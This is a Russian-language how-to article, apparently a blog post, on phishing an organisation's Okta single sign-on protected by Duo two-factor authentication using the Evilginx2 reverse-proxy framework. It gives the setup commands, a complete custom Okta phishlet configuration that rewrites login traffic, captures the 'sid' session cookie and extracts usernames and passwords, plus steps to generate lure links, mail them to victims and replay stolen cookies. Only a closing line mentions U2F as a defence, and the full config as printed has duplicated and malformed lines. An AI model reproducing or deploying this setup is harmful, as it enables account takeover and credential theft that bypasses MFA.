Бывают случаи, когда тебе нужно кого-то зафишить. Бывает, когда у целевой организации настроен второй фактор для аутентификации — sms, Google authenticator, Duo. Что делать в таких случаях? Нанимать гопников? Подрезать телефоны у сотрудников? Нет! Оказывается, хитрые хакеры написали софт, способный помочь в этой непростой ситуации. Evilginx2 — фреймворк для ******а, работающий как ****** между жертвой и сайтом, учетки от которого мы хотим получить. Раньше он использовал кастомный nginx, теперь же полностью переписан на Go, включает в себя мини HTTP и DNS серверы, что сильно облегчает установку и развертывание. Как это работает? Автор софта подробно описал на своем сайте, детали по установке и настройке можно найти на github странице проекта. Почему же удается обойти второй фактор? Фишка в том, что мы не вмешиваемся в процесс ввода кода из смс / временного пароля / пуша от DUO. Мы тихо ждем, пока пользователь успешно пройдет все шаги аутентификации, ловим его куку, и уже ее используем для входа. Попутно на всякий случай собираем его логин и пароль. В этой же заметке я расскажу о своем опыте и подводных камнях, с которыми столкнулся. Задача Итак, нам нужно зафишить контору, которая активно использует Okta как Single Sign-on. В качестве второго фактора используется Duo — решение, фишка которого в мобильном клиенте, позволяющем подтверждать второй фактор через обычные пуш-нотификации вместо ввода 35-значных кодов (привет Google Authenticator). Приступим. Шаг первый — регистрируем ******овый домен В панели нашего провайдера указываем адрес сервера, на котором будет расположен ******. Также регистрируем поддомен вида okta.<******овый домен>.com. Шаг второй — настраиваем Evilginx Запускаем Evilginx и через команду config вводим необходимые настройки. Указываем основной домен (не поддомен) и его IP. config domain <******овый домен>.com config ip 10.0.0.1 Код config domain <******овый домен>.com config ip 10.0.0.1 В итоге конфиг выглядит так: Интересен тут параметр redirect_url — он указывает куда перенаправлять запрос, когда клиент пришел в корень нашего домена. Зачем это сделано? Если отдавать ******овую страницу из корня, домен очень быстро вычислят и внесут в списки опасных сайтов, браузеры будут грозно ругаться, и пользователи никогда к нам не попадут. Поэтому мы ее будем отдавать по уникальной ссылке, а корень будет перенаправлять на песню Never Gonna Give You Up. Шаг третий — настраиваем ******овую страницу Тут начинается самое интересное. Так как по-факту на нашем сервере мы вообще не хостим никакого контента, а только проксируем запросы, нам нужно "рассказать" Evilginx, какие именно данные мы хотим получить. Этот "рассказ" мы пишем в специальном формате. Документация по нему доступна на wikiстранице проекта. Называются эти описания phishlets. Для некоторых популярных сервисов — facebook, linkedin, amazon они уже написаны и включены в дистрибутив. Нам повезло меньше, из коробки Okta не поддерживается, но добрые люди написали phishlet для старойверсии. Берем напильник и начинаем паять. Заполняем описание, указываем имя phishlet, авторов, и требуемую версию Evilginx. name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' Код name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' Указываем, какой именно домен собираемся фишить. В нашем случае используется домен вида <имя целевой компании>.okta.com. proxy_hosts: - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>', domain: 'okta.com', session: true, is_landing: true} Код proxy_hosts: - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>', domain: 'okta.com', session: true, is_landing: true} Параметр session указывает на то, что именно этот домен отдает нужные нам куки и туда передаются учетные данные, is_landing значит что этот хост будет использоваться для генерации ******овых URL. Следующий важный этап — определить все запросы к целевому домену, для того чтобы ****** успешно их переписала на ******овый домен. Если этого не сделать, пользователь будет отправлять данные не нам, а сразу на оригинальный домен, и никаких учеток мы не поймаем. Переписывать нужно только те запросы, которые непосредственно участвуют в процессе входа пользователя на сайт. Чтобы четко понимать, что именно требуется для успешной аутентификации, нужно внимательно этот самый процесс изучить. Вооружившись Burp и тестовой учеткой начинаем искать как передается пароль и по каким кукам приложение определяет авторизованного пользователя. Также ищем ответы от сервера, в которых есть ссылки на оригинальный домен. Находим запрос, в котором передается логин и пароль. Видим что он шлется на оригинальный домен, а нужно чтобы уходил нам. Вот здесь видно, как оригинальный домен отдает ссылки внутри javascript, их нужно переписать. Собрав это и еще пару запросов получаем следующие настройки: sub_filters: - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F<целевой домен>.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} Код sub_filters: - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F<целевой домен>.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} Ключевое слово {hostname} как раз используется для замены оригинального домена на ******овый. Подробнее о синтаксисе этой секции написано тут. Помните, нам нужны куки, с которыми мы будем авторизоваться на сайте. Путем проб и ошибок выясняем имя куки — sid, и дописываем его в настройки: auth_tokens: - domain: '<целевой домен>.okta.com' keys: ['sid'] Код auth_tokens: - domain: '<целевой домен>.okta.com' keys: ['sid'] Также нам пригодится логин и пароль пользователя, мы уже нашли запрос, в котором они передаются. Как видно в запросе, нужные нам параметры username и password передаются в json, дописываем: credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' Код credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' Так Evilginx сможет вычленять их из запросов и корректно сохранять. Осталось немного. Укажем URL страницы логина на целевом домене. landing_path: - '/login/login.htm' Код landing_path: - '/login/login.htm' Укажем URL, по которому мы поймем, что пользователь успешно авторизован. auth_urls: - 'app/UserHome' Код auth_urls: - 'app/UserHome' Вот и все! Конфиг целиком: name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F<целевой домен>.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '<целевой подомен>.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome' Код name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '<поддомен имя целевой компании>'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '<целевой домен>.okta.com', orig_sub: '<целевой домен>', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '<целевой домен>.okta.com', orig_sub: '', domain: '<целевой домен>.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F<целевой домен>.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '<целевой подомен>.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome' Сохраняем его как okta.yaml в /usr/share/evilginx/phishlets. Шаг четвертый — включаем наш новый ****** Запускаем evilginx и пишем команду phishlets hostname okta okta.<наш ******овый домен>.com Код phishlets hostname okta okta.<наш ******овый домен>.com Включаем phishlet. phishlets enable okta Код phishlets enable okta Под него автоматически создается сертификат от LetsEncrypt. Проверяем настройки: Указываем, куда будем редиректить пользователя после успешной авторизации phishlets get-url okta https://<целевой домен>.okta.com/ Код phishlets get-url okta https://<целевой домен>.okta.com/ Приложение выдаст ссылку, которую нужно рассылать пользователям, вида https://<******овый домен>.com/login/login.htm?rb=9ffe&ec=<уникальный хеш> Шаг 4 — ждем улов Рассылаем письма (технологии рассылки — материал для отдельной статьи) и ждем. Неокрепший доверчивый пользователь идет по ссылке и авторизуется. Видим мы это так: Все пойманные учетки складываются в sessions. Выбираем нужную и копируем из нее куки: https://habrastorage.org/webt/z7/22/**/z722hh8g8oxzy8zewtzppg3pa5s.png Открываем бразуер, подставляем куки и вуаля — мы внутри: Послесловие Evilginx сильно упрощает создание ******овых страниц, особенно для 2FA. Также эти страницы удобно хранить и делиться ими с друзьями. Способы защиты — использование девайсов стандарта U2F, переход на новые методыаутентификации.